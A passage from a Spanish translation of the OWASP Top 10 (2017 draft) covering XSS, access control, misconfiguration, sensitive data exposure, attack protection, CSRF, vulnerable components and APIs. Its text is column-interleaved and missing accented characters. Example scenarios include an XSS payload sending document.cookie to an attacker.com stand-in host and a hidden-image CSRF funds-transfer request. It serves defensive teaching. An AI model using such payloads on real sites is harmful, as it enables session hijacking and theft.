siguiente cdigo HTML sin validarlos o codicarlos: OWASP Types of Cross-Site Scripting
OWASP XSS Prevention Cheat Sheet
(String) page += "<input name='creditcard' type='TEXT value='" OWASP DOM based XSS Prevention Cheat She
+ request.getParameter("CC") + "'>"; OWASP Java Encoder API
ASVS: Output Encoding/Escaping Requiremen
El atacante modica el parmetro CC en el navegador: OWASPAntiSamy: Sanitization Library
'><script>document.locaCon='http://www.attacker.com/cgi- Testing Guide: 1st 3 Chapters on Data Validation
bin/cookie.cgi?foo='+document.cookie</script>'. OWASP Code Review Guide: Chapter on XSS Re
OWASP XSS Filter Evasion Cheat Sheet
Esto causa que el identicador de sesin de la vctima sea
enviado al sitio web del atacante, permitiendo al atacante Externos.
secuestrar la sesin actual del usuario. CWE Entry 79 on Cross-Site Scripting
Notar que los atacantes pueden tambin utilizar XSS para
anular cualquier defensa CSRF que la aplicacin pueda utilizar.
Ver 2017-A8 para ms informacin sobre CSRF.

Traducido por XyZ para la comunidad de Underc0de


A4 Control de Acceso sin Proteccin.

Especifico de la Explotabilidad Prevalencia Detectabilidad Impacto Especifico de la


aplicacin PROMEDIO EXTENDIDA FACIL MODERADO aplicacin/negocio

Considerar los tipos Atacantes, quienes son Para los datos, aplicaciones y APIs Tales errores pueden Considerar el valor del
de usuarios los usuarios frecuentemente utilizan el nombre actual o comprometer todas negocio a la exposicin de
autorizados en el autorizados, llave de un objeto al generar pginas web. las funcionalidades o informacin y
sistema. Tienen simplemente con Para funciones, URLs y los nombres de datos que son funcionalidad.
restricciones a cambiar un valor del funciones son frecuentemente fcil de sensibles.
algunas funciones y parmetro a otro, adivinar. Las aplicaciones y APIs no
Tambin el impacto del
datos? Los usuarios recursos, a los que no siempre verifican si el usuario est
A menos que las negocio a la exposicin
sin autenticacin cuentan autorizacin. El autorizado para acceder al recurso. Esto
referencias sean pblica de la
pueden acceder a acceso a stas resulta en el error del control de acceso.
impredecibles, o el vulnerabilidad.
cualquier funcionalidades o Los testers pueden fcilmente manipular
control de acceso sea
funcionalidad o informacin estn parmetros para detectar tales fallas. El
reforzado, los datos y
informacin? permitidas? anlisis de cdigo rpidamente muestra si
funcionalidad pueden
la autorizacin es correcta.
ser robados o
abusados.

Soy vulnerable? Cmo prevengo esto?

La mejor manera de averiguar si una aplicacin es vulnerable al Prevenir los errores de control de acceso requiere seleccionar
los controles de accesos vulnerables es verificar toda la una aproximacin para proteger cada funcin y tipo de dato (ej.
informacin y referencias de las funciones contienen las Nombre de archivo, numero de objeto).
defensas apropiadas. Para determinar debe considerar:
1. Verificar el acceso. Cada uso de una referencia directa desde una
1. Para las referencias de datos, la aplicacin asegura que el
fuente desconfiable debe incluir un lista de control de acceso para
usuario est autorizado utilizando mapas de referencias o
asegurar si el usuario est autorizado a utilizar el recurso solicitado.
verifica el control de acceso para asegurar si el usuario se
2. Utilizar por sesin o referencias indirectas de objetos por
encuentra autorizado a la informacin? sesin: Este patrn de cdigos previene que ataques desde
2. Para solicitudes de funciones no pblicas, la aplicacin
objetivos directamente desde los recursos no autorizados. Por
asegura que el usuario se encuentra autenticado, y tiene el
ejemplo, en vez de utilizar el recurso de la llave de la base datos,
rol o privilegio para utilizar la funcin?
una lista desplegable de los seis recursos autorizados para cada
usuario actual puede utilizar los nmeros del 1 al 6 para indicar que
La revisin del cdigo de la aplicacin permite verificar si estos valor pertenece al usuario. OWASPs ESAPI incluye secuencial y
controles estn correctamente implementados y estn aleatorio mapeo de acceso a las referencias que los desarrolladores
presentes en cualquier lugar que son requeridos. El testeo pueden utilizar para eliminar el acceso directo a las referencias.
manual es efectivo para identificar fallas en el control de 3. Automatizacin de verificacin. La ventaja de la automatizacin
acceso. Las herramientas automatizadas tpicamente no para verificar el apropiado despliegue de autorizaciones. A veces es
personalizado.
verifican tales errores porque no reconocen la proteccin que
requiere o que es seguro o inseguro.

Escenario de ejemplo del ataque.


1. La aplicacin utiliza datos sin verificar en una llamada SQL que es
accesible a la informacin de la cuenta:
stmt.setString( 1, request.getParameter(acct));
ResultSet results = pstmt.executeQuery(); OWASP Top 10-2007 on Insecure Direct Object References
Un atacante modifica el parmetro acct en el navegador para enviar al OWASP Top 10-2007 on Function Level Access Control
nmero de cuenta que quiera. Si no existe una apropiada verificacin, el ESAPI Access Reference Map API
atacante puede acceder a cualquier cuenta de usuario. ESAPI Access Control API
http://example.com/app/accountInfo?acct=notmyacct

2. Un atacante simplemente fuerza el navegador a URLs definidas. Para controles adicionales ver ASVS requirements area for Access
Los permisos de los Administradores tambin son requeridos para Control (V4).
acceder a la administracin de la pgina.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo CWE Entry 285 on Improper Access Control (Authorization).
Si un usuario no autenticado puede acceder a la pgina y su falla. CWE Entry 639 on Insecure Direct Object References.
Si un no-administrador puede acceder a la pgina de administracin, CWE Entry 22 on Path Trave
tambin a su falla.

Traducido por XyZ para la comunidad de Underc0de


A5 Configuracin de Seguridad Incorrecta.

Especifico de la Explotabilidad Prevalencia Detectabilidad Impacto Especifico de la


aplicacin FACIL COMUN FACIL MODERADO aplicacin/negocio

Considere atacantes Un atacante accede a Las configuraciones de seguridad Estas El sistema podra ser
externos as como cuentas por defecto, incorrectas pueden ocurrir en cualquier vulnerabilidades completamente
usuarios con sus pginas sin uso, fallas nivel de la aplicacin, incluyendo la frecuentemente dan a comprometido sin su
propias cuentas que sin parchar, archivos y plataforma, servidor web, de aplicacin, los atacantes acceso conocimiento. Todos sus
pueden comprometer directorios sin base de datos, framework y cdigo no autorizado a datos podran ser robados o
el sistema. proteccin. personalizado. algunas modificados lentamente en
funcionalidades o el tiempo.
datos del sistema.
Tambin el personal Para obtener acceso no Los desarrolladores y administradores de
interno intentando autorizado o para sistema necesitan trabajar juntos para El costo de recuperacin
enmascaras sus conocer el sistema. asegurar que las distintas capas estn Ocasionalmente podra ser elevado.
acciones. configuradas apropiadamente. Las provocan que el
herramientas de deteccin automticas son sistema se
tiles para detectar parches omitidos, fallos comprometa
de configuracin, uso de cuentas por totalmente.
defecto, servicios innecesarios, etc.

Soy vulnerable al ataque? Cmo prevenirlo?

Cuenta su aplicacin con el apropiado fortalecimiento de Las recomendaciones primarias son el establecimiento de todo
lo siguiente:
seguridad a travs de todas las capas que lo componen?
Incluyendo: 1- Un proceso rpido, fcil y repetible de fortalecimiento para obtener
un entorno apropiadamente asegurad. Los entornos de Desarrollo,
1- Tiene algn software sin actualizar? Esto incluye el SO, Servidor QA y Produccin deben ser congurados idnticamente (con
Web/Aplicacin, DBMS, aplicaciones, APIs y todos los diferentes contraseas usadas en cada entorno). Este proceso
puede ser automtico para minimizar el esfuerzo de congurar un
componentes y libreras (2017-A9).
nuevo entorno seguro.
2- Estn habilitadas o instaladas algunas caractersticas
innecesarias? Ej. Puertos, servicios, paginas, cuentas, privilegios? 2- Un proceso para mantener y desplegar las nuevas actualizaciones y
3- Estn las cuentas por defecto y sus contraseas aun habilitadas parches de software de una manera oportuna para cada entorno.
y sin cambiar? Este proceso necesita incluir todos los componentes y libreras
(2017-A9).
4- Estn las configuraciones de seguridad en su framework de
desarrollo (ej. Struts, Srping, Asp.Net) y libreras sin configurar a 3- Una fuerte arquitectura de aplicacin que proporcione una
valores seguros? separacin segura y efectiva entre los componentes.

Sin un proceso repetible y concertado de configuracin de 4- Un proceso automatizado para verificar las configuraciones y seteos
deben ser configurados apropiadamente en todos los entornos.
seguridad para las aplicaciones, los sistemas estn en un
riesgo elevado.

Ejemplos de escenarios de Ataque. Referencias


1- La consola de administrador del servidor de aplicaciones se instal
automticamente y no se ha eliminado. Las cuentas por defecto no
se han modificado. Un atacante descubre las pginas por defecto OWASP
de administracin que estn en su servidor, se conecta con las OWASP Development Guide: Chapter on Configuration
contraseas por defecto y lo toma. OWASP Code Review Guide: Chapter on Error Handling
2- El listado de directorios no se encuentra deshabilitado en su OWASP Testing Guide: Configuration Management
servidor. El atacante descubre que puede simplemente listar OWASP Testing Guide: Testing for Error Codes
directorios para encontrar cualquier archivo. El atacante encuentra OWASP Top 10 2004 - Insecure Configuration
descarga todas sus clases compiladas de Java, las cuales
decompila y realiza ingeniera inversa para obtener todo su cdigo
Management
fuente. Encuentra un fallo serio de control de acceso en su
aplicacin. Por requerimientos adicionales ver ASVS (V11 and V19).
3- La configuracin del servidor de aplicaciones permite que se
retornen la pila de llamada a los usuarios, exponindose Externos.
potencialmente a fallos subyacentes. A los atacantes les encanta
que les proporcionen informacin extra con los mensajes de
NIST Guide to General Server Hardening
errores. CWE Entry 2 on Environmental Security Flaws
4- El servidor de aplicaciones viene con aplicaciones de ejemplo que CIS Security Configuration Guides/Benchmarks
no se eliminaron del servidor de produccin. Las aplicaciones de
ejemplo pueden poseer fallos de seguridad bien conocidos que los
atacantes pueden utilizar para comprometer su servidor.

Traducido por XyZ para la comunidad de Underc0de


A6 Exposicin de Datos Sensibles.

Especifico de la Explotabilidad Prevalencia Deteccin Impacto Especifico de la


aplicacin DIFICIL POCO COMUN PROMEDIO SEVERO aplicacin/negocio

Considere quien Los atacantes La debilidad ms comn es simplemente no Los fallos La prdida de datos y el
puede obtener tpicamente no quieran cifrar datos sensibles. Cuando se emplea frecuentemente impacto de su reputacin.
acceso a sus datos la criptografa de forma cifrado, es comn detectar generacin y comprometen a todos Cul es su responsabilidad
sensibles y cualquier directa, sino algo ms gestin dbil de claves, el uso de los datos que legal si estos datos son
respaldo de estos. como robar claves, algoritmos dbiles y particularmente deberan estar expuestos? Tambin
Esto incluye los datos realizar ataques MITM, tcnicas dbiles de hashing de protegidos. considere el dao a la
almacenados, en robar datos en texto contraseas. Las debilidades a nivel del Tpicamente esta reputacin.
trnsito e inclusive en claro del servidor, navegador son muy comunes y fciles de informacin incluye
el navegador del mientras se encuentran detectar pero difciles de explotar a gran datos sensibles como
cliente, incluye en trnsito, o del escala. Atacantes externos encuentran ser registros mdicos,
amenazas internas y navegador del usuario. dificultades detectando debilidades a nivel credenciales, datos
externas. del servidor dado el acceso limitado y que personales, tarjetas
son usualmente difciles de explotar. de crdito.

Soy vulnerable a la exposicin de informacin? Cmo prevenirlo?


Lo primero a determinar es el conjunto de datos sensibles que Los riesgos completos de utilizar cifrado de forma no segura, uso
requerirn proteccin extra. Por ejemplo, contraseas, de SSL y proteccin de datos escapan al Top 10. Para los datos
nmeros de tarjetas de crdito, registros mdicos e informacin sensibles, deben realizarse como mnimo lo siguiente:
personal deberan protegerse.
1- Considerar las amenazas de las cuales proteger los datos (ej.
1. Guardan en texto claro a largo plazo, incluyendo respaldos? Atacante interno, usuario externo) asegurarse de cifrar los datos
2. Los datos se transmiten en texto claro, interna y externamente? sensibles almacenados o en trfico, de manera de defenderse de
El trfico por internet es especialmente peligroso. estas amenazas.
3. Utiliza algn algoritmo criptogrfico dbil/anticuado? 2- Evitar almacenar datos sensibles innecesariamente. Descartar lo
4. Las claves criptogrficas generadas son dbiles, o falta una antes posible. Datos que no obtienen o puedan ser robados.
adecuada rotacin o gestin de claves? 3- Asegurar de aplicar algoritmos de cifrado fuertes y estndares como
5. Utilizan tanto cabezales como directivas de seguridad del llaves fuertes y gestionarlas de forma segura. Considerar utilizar
navegador cuando son enviados o provistos por el mismo? mdulos criptogrficos validados como FIPS 140.
4- Asegurar que las claves se almacenan con un algoritmo
Y mucho ms.. Ver ASVS reas Crypto (V7), Data Prot (V9), especialmente diseado como para protegerlas como ser Bcrypt,
PBKDF2 o scrypt.
y SSL/TSL (V10).
5- Deshabilitar autocompletar en los formularios que recolectan datos
sensibles. Deshabilitar el cache de pginas que guarden datos
sensibles.

Ejemplos de escenarios de ataque. REFERENCIAS.

1- Una aplicacin cifra los nmeros de tarjetas de crdito en una OWASP.


base de datos utilizando cifrado automtico de la base de datos.
Significa que tambin se descifra automticamente cuando se Para un conjunto completo de requerimientos, ASVS reqs on
recuperan, permitiendo por medio de una debilidad de Inyeccin Cryptography (V7), Data Protection (V9) y Communications Security
SQL recuperar nmeros de tarjetas en texto claro. El sistema (V10).
debera cifrar dichos nmeros utilizando una clave pblica y
permitir solamente a las aplicaciones de back-end descifrar con la OWASP Cryptographic Storage Cheat Sheet.
OWASP Password Storage Cheat Sheet.
clave privada.
OWASP Transport Layer Protection Cheat Sheet.
OWASP Testing Guide: Chapter on SSL/TLS Testing.
2- Un sitio simplemente no utiliza SSL para todas sus pginas que
requieren autenticacin. El atacante monitorea el trfico en la red Externas.
(como ser una red inalmbrica abierta) y obtiene la cookie de CWE Entry 310 on Cryptographic Issues.
sesin del usuario. El atacante reenva la cookie y secuestra la CWE Entry 312 on Cleartext Storage of Sensitive Information.
sesin, accediendo los datos privados del usuario. CWE Entry 319 on Cleartext Transmission of Sensitive Information
CWE Entry 326 on Weak Encryption.
3- La base de datos de claves usa hashes sin salt para almacenar las
claves. Una falla en una subida de archivos permite a un atacante
obtener el archivo de claves. Todas las claves pueden ser
expuestas mediante una tabla rainbow de hashes pre calculados.

Traducido por XyZ para la comunidad de Underc0de


A7 Proteccin insuficiente contra ataques.

Especifico de la Explotabilidad Prevalencia Deteccin Impacto Especifico de la


aplicacin FACIL COMUN PROMEDIO MODERADO aplicacin/negocio

Considerar que Los atacantes, usuarios Las aplicaciones y APIs son atacadas todo La mayora de los Considerar el impacto o
cualquiera con conocidos o annimos, el tiempo. La mayora de aplicaciones y ataques exitosos insuficiente proteccin
acceso a la red envan ataques. La APIs detectan inputs invlidos, simplemente inicia con pruebas de contra ataques del
puede enviar una aplicacin o API detecta lo rechazan, dejando al atacante que ataque vulnerabilidades. negocio.
solicitud a una el ataque? Cmo una y otra vez. Como los ataques indican un Permitiendo tales
aplicacin. La responde? Puede comportamiento malicioso el usuario puede pruebas para
Los ataques efectivos
aplicacin detecta y impedir ataques contra probar o explotar vulnerabilidades. continuar elevando la
pueden no prevenirse,
responde a mtodos stas vulnerabilidades Detectando y bloqueando ambos ataques probabilidad de una
pueden no ser
de ataques manuales conocidas? manual y automtico, es una de las ms explotabilidad al 100%
descubiertos por largos
y automticos? eficaces maneras de incrementar la exitosa. No
periodos de tiempo y
seguridad. Cmo puede rpidamente desplegando parches
expandirse ms lejos de
parchar una vulnerabilidad critica con solo de manera rpida
la inicial recoleccin de
descubrirla? detendrn a un
informacin.
atacante.

Soy vulnerable al ataque? Cmo prevengo?

Detectando, respondiendo, y bloqueando ataques hacen que Hay tres objetivos primarios para una proteccin:
la aplicacin sea ms difcil de explotar aunque la mayora de
aplicaciones o APIs tengan tales protecciones. Las 1. Detectar Ataques. Ocurri algo que es imposible que un usuario
vulnerabilidades crticas en componentes y cdigo autenticado cause (ej. Un ingreso de datos que un cliente legtimo
personalizado son descubiertos con el tiempo, aunque a las pueda generar?). La aplicacin comenz a ser utilizada de un modo
organizaciones frecuentemente les toma meses en desarrollar que un usuario comn no podra nunca hacerlo (ej. Ingreso de datos
nuevas defensas. no tpicos, patrones de uso inusuales, solicitudes repetitivas).

Debera ser obvio la deteccin de ataques y respuestas, 2. Responder a ataques. Los logs y notificaciones son esenciales
aunque no es fcil. Intente atacar manualmente o ejecutar para responder a tiempo. Decidir si bloquear automticamente
escaneadores contra las aplicaciones. La aplicacin o API solicitudes, direcciones IP o rangos IP. Considerar desactivar o
debera identificar a los atacantes y las caractersticas de los monitorear el comportamiento raro en las cuentas de usuarios.
ataques. Si rpidamente no puede revertir virtual y/o parches
actuales cuando una vulnerabilidad critica es descubierta, an 3. Parchar rpidamente. Si su proceso de desarrollo no puede sacar
sigue expuesto al ataque. parches diarios crticos, despliegue un parche virtual que analizar
el trfico HTTP, flujo de datos y/o la ejecucin de cdigo y previene
Asegrese de entender que tipos de ataques estn cubiertos las vulnerabilidades desde donde son explotadas.
contra proteccin de ataques. Slo contra XSS e Inyeccin
SQL? Puede utilizar tecnologas como WAFs y OWASP
AppSensor para detectar o bloquear ataques y/o virtualmente
parchar las vulnerabilidades.

Escenarios de ejemplos de ataques. Referencias.


1. Un atacante utiliza herramientas automatizadas como OWASP OWASP
ZAP o SQLMap para detectar vulnerabilidades y posiblemente
explotarlas. OWASP Article on Intrusion Detection
OWASP AppSensor
La deteccin de ataques debera reconocer que la aplicacin est
siendo atacada con consultas inusuales y de alto volumen. Los
OWASP Automated Threats Project
escaneos automatizados deben ser fcil de diferenciar de un trfico OWASP Credential Stuffing Cheat Sheet
normal. OWASP Virtual Patching Cheat Sheet
2. Un atacante habilidoso cuidadosamente probar vulnerabilidades OWASP Mod Security Core Ruleset
potenciales, e incluso encontrando una falla oscura.
Externas.
Mientras ms difcil sea de detectar, ste ataque aun involucra
solicitudes que un usuario normal no debe enviar, como ingreso de
WASC Article on Insufficient Anti-automation
datos no permitidos en la interfaz de usuario. Perseguir al atacante CWE Entry 778 - Insufficient Logging
puede requerir construir un caso con el tiempo que demuestre las CWE Entry 799 - Improper Control of Interaction Frequency
intenciones maliciosas.

3. Los atacantes inician explotando una vulnerabilidad en la


aplicacin que normalmente falla en bloquear.
Cun rpido puede un parche real o virtual parar o bloquear la
continua explotacin de sta vulnerabilidad?

Traducido por XyZ para la comunidad de Underc0de


A8 Falsificacin de Peticin en Sitios Cruzados (CSRF)

Especifico de la Explotabilidad Prevalencia Deteccin Impacto Especifico de la


aplicacin PROMEDIO POCO COMUN FACIL MODERADO aplicacin/negocio

Considerar cualquier El atacante crea CSRF aprovecha el hecho que la mayora Los atacantes pueden Considerar el valor del
persona que pueda peticiones HTTP de las aplicaciones web permiten a los cambiar cualquier negocio a los datos o
cargar contenido en falsificadas y engaa a atacantes predecir todos los detalles de dato que la vctima funciones afectados.
los navegadores de la vctima mediante el una accin en particular. est autorizada a
los usuarios y as envo de etiquetas de cambiar o a acceder
Tener en cuenta lo que
obligarlos a presentar imgenes, XSS u otras a cualquier
Dado que los navegadores envan representa no estar seguro
una solicitud para su tcnicas. Si el usuario funcionalidad donde
credenciales como cookies de sesin de si los usuarios en realidad
sitio web. est autenticado el este autorizada,
forma automtica, los atacantes pueden desean realizar dichas
ataque tiene xito. incluyendo registros,
crear pginas web maliciosas que generan acciones. Considerar el
cambios de estado o
Cualquier sitio web o peticiones falsificadas que con impacto que tiene en la
cierre de sesin.
canal HTML que el indistinguibles de las legtimas. reputacin de su negocio.
usuario acceda
puede realizar este
La deteccin de fallos de tipo CSRF es
tipo de ataque.
bastante fcil a travs de pruebas de
penetracin o de anlisis de cdigo.

Soy vulnerable a CSRF? Cmo prevengo un CSRF?


Para verificar si una aplicacin es vulnerable, verifique que los La opcin preferida es utilizar una defensa existente contra
enlaces y formularios carecen de un token impredecible CSRF. Muchos frameworks ahora incluyen defensas contra
CSRF. Sin tal token, los atacantes pueden falsificar solicitudes CSRF incorporadas, como Spring, Play, Django y AngularJS.
maliciosas. Como defensa alternativa es requerir al usuario Algunos lenguajes de desarrollo web como .NET lo incluye.
que pruebe su intencin de enviar la solicitud, a travs de una OWASPs CSRF Guard puede automticamente aadir
re-autenticacin. defensas CSRF en aplicaciones Java. OWASPs
CSRFProtector hace lo mismo para PHP como un filtro en
Enfocarse en los enlaces y formularios que invoquen un Apache.
estado de cambio en las funciones, esos son los objetivos
CSRF ms importantes. Transacciones de mltiple pasos no Por otro lado, prevenir un CSRF usualmente requiere incluir un
son inmunes. Tambin cudese de los (SSRF) Server-Side token impredecible en cada solicitud HTTP. Tales tokens deben,
Request Forgery es posible engaando a las aplicaciones y como mnimo, ser nicos por sesin.
APIs generando solicitudes HTTP arbitrarias.
1. La opcin preferida es incluir un token nico en un campo
Notar que las cookies de sesin, direcciones IP origen y otra oculto. Incluye el valor en el cuerpo de la solicitud HTTP,
informacin que es enviada automticamente por el navegador evitando la exposicin en la URL.
no defiende contra CSRF desde que estn incluidas en la 2. Un token nico puede ser incluido en la URL o como
malformacin de solicitudes. parmetro. Sin embargo, permite el riesgo que el token sea
expuesto a un atacante.
La herramienta OWASPs CSRF Tester puede ayudar a 3. Considerar utilizar el SameSite=strict en todas las
generar verificaciones para demostrar la peligrosidad de fallas cookies lo cual es altamente soportado en los
CSRF. navegadores.

Ejemplos de escenarios de ataques. Referencias


La aplicacin permite a un usuario enviar un estado de cambio OWASP
en la solicitud que no incluye nada secreto. Por ejemplo: OWASP CSRF Article
http://example.com/app/transferFunds?ammount=1500&d OWASP CSRF Prevention Cheat Sheet
estinationAccount=4673243243 OWASP CSRFGuard - Java CSRF Defense Tool
OWASP CSRFProtector - PHP and Apache CSRF Defense
Entonces, un atacante construye una solicitud que transferir Tool
dinero desde la cuenta de la victima a la cuenta del atacante, y ESAPI HTTPUtilities Class with AntiCSRF Tokens
entonces embebe ste ataque en una solicitud de una imagen OWASP Testing Guide: Chapter on CSRF Testing
o frame almacenado en varios sitios bajo el control del OWASP CSRFTester - CSRF Testing Tool
atacante:
<img src="http://example.com/app/transferFunds? Externas
amount=1500&destinationAccount=attackersAcct#
width="0" height="0" /> CWE Entry 352 on CSRF
Wikipedia article on CSRF
Si la victima visita algn sitio del atacante mientras est
autenticado en example.com, sta solicitud malformada
automticamente incluir la informacin de sesin del usuario,
autorizando la solicitud del atacante.

Traducido por XyZ para la comunidad de Underc0de


A9 Utilizar componentes con vulnerabilidades conocidas.

Especifico de la Explotabilidad Prevalencia Deteccin Impacto Especifico de la


aplicacin PROMEDIO COMUN PROMEDIO MODERADO aplicacin/negocio

Algunos Los atacantes Muchas aplicaciones y APIs tienen stos El alcance completo Considerar que cada
componentes identifican un inconvenientes debido a que su equipo de de la debilidad es vulnerabilidad podra
vulnerables (ej. componente dbil a desarrollo no se centra en actualizar posible, incluyendo la significar que el control de la
Libreras de travs del escaneo o libreras y componentes. En algunos casos, inyeccin, romper el empresa sea tomado por la
frameworks) pueden anlisis manual. los desarrolladores no siempre conocen control de acceso, aplicacin.
ser identificadas y Customizando la todos los componentes que estn XSS.
explotadas con explotabilidad a su utilizando, no recordando las versiones. Las
Puede ser algo trivial o
herramientas necesidad y ejecutando dependencias de los componentes hacen
El impacto puede significar un compromiso
automatizadas, el ataque. Volvindose que la situacin sea peor.
abarcar de un total.
expandiendo el ms difcil si el
aspecto mnimo a una
alcance del agente componen utilizado es
Las herramientas se estn volviendo toma por completo del
de amenaza ms all esencial en la
comnmente disponibles para ayudar a servidor y
del objetivo de los aplicacin.
detectar componentes con el uso de comprometer los
atacantes incluyendo
vulnerabilidades conocidas. datos.
actores caticos.

Soy vulnerable a vulnerabilidades conocidas? Cmo prevengo esto?


El desafo es monitorear constantemente los componentes (del La mayora de los proyectos de los componentes no crean parches
lado del cliente y servidor) que est utilizando para algunos de vulnerabilidad para versiones viejas. Entonces la nica forma de
reportes de vulnerabilidades. Este monitoreo puede ser difcil resolver es actualizar a la siguiente versin, lo que requiere cambios
debido que los reportes de vulnerabilidades no se encuentran en el/los cdigos. Los proyectos de software deberan tener un
estandarizados, hacindolos difcil de encontrar y buscar cada proceso para:
detalle que necesite (ej. El componente exacto dentro de un
producto de una familia que tiene la vulnerabilidad). Lo peor de 1. Tener un inventario continuo de las versiones de componentes del
todo, muchas vulnerabilidades nunca son reportadas a donde cliente y servidor y sus dependencias utilizando herramientas como
corresponden como CVE y NVD.
versiones, verificacin de dependencias, retire.is).
2. Monitorear continuamente los orgenes como NVD para
Determinando si es vulnerable que requiere buscar en las bases de
vulnerabilidades en los componentes. Utilizar herramientas software
datos, como tambin un mantenimiento profundo de las listas de
compuestas para anlisis que automaticen el proceso.
correos y anuncios por cualquier cosa que podra llegar a ser una
vulnerabilidad. Este proceso puede hacerse manualmente o con 3. Analizar libreras para asegurar que estn utilizando actualmente los
herramientas automatizadas. Si una vulnerabilidad en un ejecutables antes de realizar cambios, como la mayora de los
componente es descubierta, cuidadosamente evaluada si an es componentes nunca son cargados o invocados.
vulnerable. Verificar si el cdigo utiliza una parte de la 4. Decidir si actualizar un componente (y si es necesario re-escribir la
vulnerabilidad del componente y si el error podra resultar en un aplicacin) o desplegar un parche virtual que analice el trafico
impacto del cual preocuparse. Ambas verificaciones pueden ser HTTP, flujo de datos o ejecucin de cdigo y prevencin de las
difcil de realizar como un reporte de vulnerabilidad puede ser algo vulnerabilidades desde estn siendo explotadas.
ambiguo.

Ejemplos de escenarios de ataques. Referencias

Los componentes casi siempre corren con la totalidad de privilegios de OWASP


la aplicacin, el error en cualquier componente puede ser un impacto
serio. Tales errores podran ser accidentales (ej. Error en la codificacin) OWASP Dependency Check (for Java and .NET libraries)
o intencional (ej. Puerta trasera en un componente). Algunos ejemplos OWASP Virtual Patching Best Practices
descubiertos de componentes explotables a componentes son:
Apache CXF bypass de autenticacin: Fallando en proveer un Externas
token de identificacin, los atacantes podran invocar cualquier
servicio web con todos los permisos (Apache CXF como servicio The Unfortunate Reality of Insecure Libraries
del framework, no confundir con el Servidor de Aplicaciones de MITRE Common Vulnerabilities and Exposures (CVE)
Apache). search
Struts 2 ejecucin de cdigo remoto. Enviando un ataque de National Vulnerability Database (NVD)
tipo de contenido de cabecera causa que el contenido de esa Retire.js for detecting known vulnerable JavaScript libraries
cabecera a ser evaluada como una expresin OGNL, lo cual Node Libraries Security Advisories
activa la ejecucin de cdigo arbitrario remoto del lado del Ruby Libraries Security Advisory Database and Tools
servidor.
Las aplicaciones que utilizan una versin vulnerable o el componente es
susceptible al ataque como ambos componentes son directamente
accesibles por la aplicacin de usuario. Otras librearas vulnerables,
utilizadas en profundidad por la aplicacin, pueden se difcilmente
explotadas.

Traducido por XyZ para la comunidad de Underc0de


A10 APIs bajo protecciones.

Especifico de la Explotabilidad Prevalencia Detectabilidad Impacto Especifico de la


aplicacin PROMEDIO COMUN DIFICIL MODERADO aplicacin/negocio

Considerar que Los atacantes Las aplicaciones Web modernas y El amplio resultado Considerar el impacto
cualquiera con la pueden con APIs estn altamente compuestas de negativo es de un ataque a una API
habilidad puede ingeniera inversa a clientes enriquecidos (navegadores, posible, incluyendo en la empresa. El
enviar solicitudes una APIs examinar mvil, escritorio) que conectan con el robo de datos, acceso a la API es
a las APIs de los el cdigo de cliente o backend de la APIs (XML, JSON, corrupcin, y crtico para los datos o
clientes. El simplemente RPC, GWT, personalizado). APIs destruccin, funciones?
software del monitorear las (microservicios, servicios, endpoint) acceso no Muchas APIs consideran
cliente es comunicaciones. pueden ser vulnerables a amplios autorizado a la que es una misin
fcilmente Algunas ataques. Desafortunadamente, la aplicacin entera y crtica, tambin suponen
reversible y las vulnerabilidades en dinmica y a veces inclusive las una toma completa el impacto de un ataque
comunicaciones las API pueden herramientas estticas no funcionan del servidor. de denegacin de
son fcilmente automticamente ser correctamente en las APIs y pueden servicio.
interceptadas, no descubiertas, otras, dificultar el anlisis manual, entonces
es ningn secreto nicamente por estas vulnerabilidades son raras
no defender la expertos. veces desconocidas.
APIs.

Soy vulnerable al ataque? Cmo prevengo esto?

Testear sus APIs en busca de vulnerabilidades debe ser La clave para proteger APIs es asegurar que entiende por
similar a verificar el resto de la aplicacin en busca de fallas. completo la amenaza modelo y que defensas debe tener:
Todos los tipos de inyecciones, autenticacin, control de
acceso, encriptacin, configuracin y otros tipos de problemas 1. Asegurar que tiene securizada las comunicaciones entre el cliente y
que las APIs puedan tener como una aplicacin comn. la APIs.
2. Asegurar que tiene un esquema de seguridad fuerte para su APIs, y
todas las credenciales, llaves y tokens estn bien asegurados.
Sin embargo, a causa que las APIs estn diseadas por el uso 3. Asegurar que si el uso de solicitudes de datos formados, que la
de programas (no humanos) frecuentemente faltan a un UI y configuracin del parser este altamente protegida contra ataques.
utilizan complejos protocolos y estructuras de datos. Estos 4. Implementar un esquema de control de acceso que proteja la APIs
factores pueden hacer que el testeo de seguridad sea difcil. El desde que es invocada de forma errnea, incluyendo el acceso no
uso de amplios formatos utilizados puede ayudar, como autorizado a funciones y datos de referencias.
Swagger (OpenAPI), REST, JSON y XML. Algunos 5. Proteger contra todos los tipos de inyecciones, ya que sos ataques
frameworks como GTW y algunas implementaciones RPC son efectivos a travs de las APIs como de las aplicaciones
normales.
utilizan formatos propios. Algunas aplicaciones y APIs crean
protocolos propios y formatos de datos, como WebSockets. La
amplitud y complejidad de una API dificultan la automatizacin Asegrese que su anlisis de seguridad y verificacin cubra toda
de pruebas de seguridad, posiblemente guen a un falso la APIs y las herramientas descubran y las analicen todo de
ambiente de seguridad. forma eficaz.

Escenarios de ejemplos de ataques. Referencias.


1. Imagine una aplicacin mvil que conecta a una API XML del OWASP
banco por informacin personal y realice transacciones. El
atacante realiza una ingeniera inversa a la aplicacin y descubre
que el nmero de cuenta es enviado como parte de la solicitud al OWASP REST Security Cheat Sheet
servidor junto con el nombre de usuario y contrasea. El atacante OWASP Web Service Security Cheat Sheet
enva credenciales validas, pero con otro nmero de cuenta,
obteniendo un acceso total a la otra cuenta del usuario.
2. Imagine una API publica que ofrecida en un startup de internet Externas.
para un envo automtico de mensajes. La API acepta los Increasing Importance of APIs in Web Development
mensajes JSON que contiene un campo de transactionid. El Tracking the Growth of the API Economy
parser de la API saca el valor de la transactionid y lo concatena The API Centric Future
junto a una consulta SQL, sin un escape o parametrizacin.
The Growth of the API
Como puede ver la API es susceptible a inyeccin SQL.
What Do You Mean My Security Tools Dont Work on
APIs?!!
En cualquiera de los dos casos, el fabricante puede no proveer
State of API Security
una interfaz web para utilizar stos servicios, haciendo que la
prueba de seguridad sea an ms difcil.

Traducido por XyZ para la comunidad de Underc0de


+D Qu ms hay para desarrolladores.

Establezca y utilice procesos de seguridad repetible y controles estndares de


seguridad.
Si es nuevo en el campo de la seguridad en aplicaciones Web como si ya se encuentra familiarizado con estos riesgos, la tarea de
producir una aplicacin Web segura o corregir una ya existente puede ser difcil. Si debe gestionar un gran nmero de aplicaciones,
puede resultar desalentador.

Para ayudar a las organizaciones y desarrolladores a reducir los riesgos de seguridad de sus aplicaciones de una manera rentable,
